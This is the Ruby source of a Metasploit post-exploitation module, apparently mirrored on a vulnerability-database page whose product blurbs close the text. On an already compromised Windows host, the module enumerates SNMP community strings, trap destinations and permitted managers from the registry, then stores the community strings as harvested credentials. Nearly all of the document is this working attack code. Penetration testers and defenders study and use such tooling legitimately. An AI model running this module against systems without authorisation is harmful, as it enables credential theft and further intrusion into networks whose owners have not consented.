##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather SNMP Settings',
'Description' => %q{ This module will enumerate the SNMP service configuration. },
'License' => MSF_LICENSE,
'Author' => [
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'Tebo <tebo[at]attackresearch.com>'
],
'References' => [
['MSB', 'MS00-096'],
['URL', 'https://docs.microsoft.com/en-us/security-updates/securitybulletins/2000/ms00-096'],
],
'Platform' => [ 'win' ],
'SessionTypes' => %w[shell powershell meterpreter],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
end
def run
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
print_status("Running module against #{hostname} (#{session.session_host})")
unless snmp_installed?
print_error("\tSNMP service is not installed on the target host")
return
end
print_status("\tSNMP is installed!")
community_strings
snmp_permitted_managers
trap_configuration
end
# Check if SNMP is installed on the target host
#
# @return [Boolean] True if the SNMP service is installed
def snmp_installed?
print_status('Checking if SNMP service is installed')
registry_enumkeys('HKLM\\System\\CurrentControlSet\\Services').include?('SNMP')
end
# Enumerate configured Community Strings
def community_strings
print_status('Enumerating community strings')
key = 'HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities'
unless registry_key_exist?(key)
print_error("\tInsufficient privileges to retrieve Community Strings or none configured")
return
end
comm_strings = registry_enumvals(key)
if comm_strings.blank?
print_status("\tNo Community strings configured")
return
end
tbl = Rex::Text::Table.new(
'Header' => 'Community Strings',
'Indent' => 1,
'Columns' =>
[
'Name',
'Type'
]
)
comm_strings.each do |c|
# comm_type is for human display, access_type is passed to the credential
# code using labels consistent with the SNMP login scanner
type = registry_getvaldata(key, c)
case (type.to_s.starts_with?('0x') ? type.to_i(16) : type.to_i)
when 4
comm_type = 'READ ONLY'
access_type = 'read-only'
when 1
comm_type = 'DISABLED'
access_type = 'disabled'
when 2
comm_type = 'NOTIFY'
access_type = 'notify'
when 8
comm_type = 'READ & WRITE'
access_type = 'read-write'
when 16
comm_type = 'READ CREATE'
access_type = 'read-create'
else
print_warning("Unknown access type for '#{c}' : #{type}")
comm_type = 'UNKNOWN'
access_type = ''
end
tbl << [c, comm_type]
register_creds(session.session_host, 161, '', c, 'snmp', access_type)
end
print_status
tbl.to_s.each_line do |l|
print_status("\t#{l.chomp}")
end
print_status
true
end
# Enumerate configured SNMP Traps
def trap_configuration
print_status('Enumerating Trap configuration')
key = 'HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\TrapConfiguration'
unless registry_key_exist?(key)
print_error("\tInsufficient privileges to retrieve SNMP Traps or none configured")
return
end
trap_hosts = registry_enumkeys(key)
if trap_hosts.blank?
print_status("\tNo Traps are configured")
return
end
trap_hosts.each do |c|
print_status("Community Name: #{c}")
t_comm_key = key + '\\' + c
destinations = registry_enumvals(t_comm_key)
next if destinations.blank?
destinations.each do |t|
trap_dest = registry_getvaldata(t_comm_key, t)
print_status("\tDestination: #{trap_dest}")
register_creds(trap_dest, 162, '', c, 'snmptrap', 'trap')
end
end
end
# Enumerate Permitted Managers
# Check which hosts can connect using the Community Strings
def snmp_permitted_managers
print_status('Enumerating Permitted Managers for Community Strings')
key = 'HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\PermittedManagers'
unless registry_key_exist?(key)
print_error("\tInsufficient privileges to retrieve Permitted Managers or none configured")
return
end
managers = registry_enumvals(key)
if managers.blank?
print_status("\tSNMP packets are accepted from any host")
return
end
print_status('SNMP packets are accepted from:')
managers.each do |m|
print_status("\t#{registry_getvaldata(key, m)}")
end
end
def register_creds(client_ip, client_port, user, pass, service_name, access_type)
service_data = {
address: client_ip,
port: client_port,
service_name: service_name,
protocol: 'udp',
workspace_id: myworkspace_id
}
credential_data = {
access_level: access_type,
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_data: pass,
private_type: :password,
username: user,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation